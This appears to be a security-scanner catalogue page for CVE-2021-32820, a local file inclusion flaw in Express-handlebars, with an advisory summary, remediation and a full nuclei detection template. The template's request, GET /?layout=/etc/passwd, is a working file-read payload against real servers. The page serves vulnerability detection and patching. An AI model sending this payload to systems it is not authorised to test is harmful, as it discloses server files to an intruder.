Express-handlebars - Local File Inclusion

highseverity

8.6CVSS score

15.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.

Fix

Update to the latest version of Express-handlebars to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?layout=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-32820 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-32820

info:
  name: Express-handlebars - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Update to the latest version of Express-handlebars to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
    - https://github.com/express-handlebars/express-handlebars/pull/163
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32820
    - https://github.com/express-handlebars/express-handlebars/blob/78c47a235c4ad7bc2674bddd8ec2721567ed8c72/README.md#danger-
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-32820
    cwe-id: CWE-94,CWE-200
    epss-score: 0.15743
    epss-percentile: 0.9689
    cpe: cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: express_handlebars_project
    product: express_handlebars
    framework: node.js
  tags: cve2021,cve,expressjs,lfi,xxe,express_handlebars_project,node.js,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?layout=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "daemon:[x*]:0:0:"
          - "operator:[x*]:0:0:"
        condition: or

      - type: status
        status:
          - 200

References

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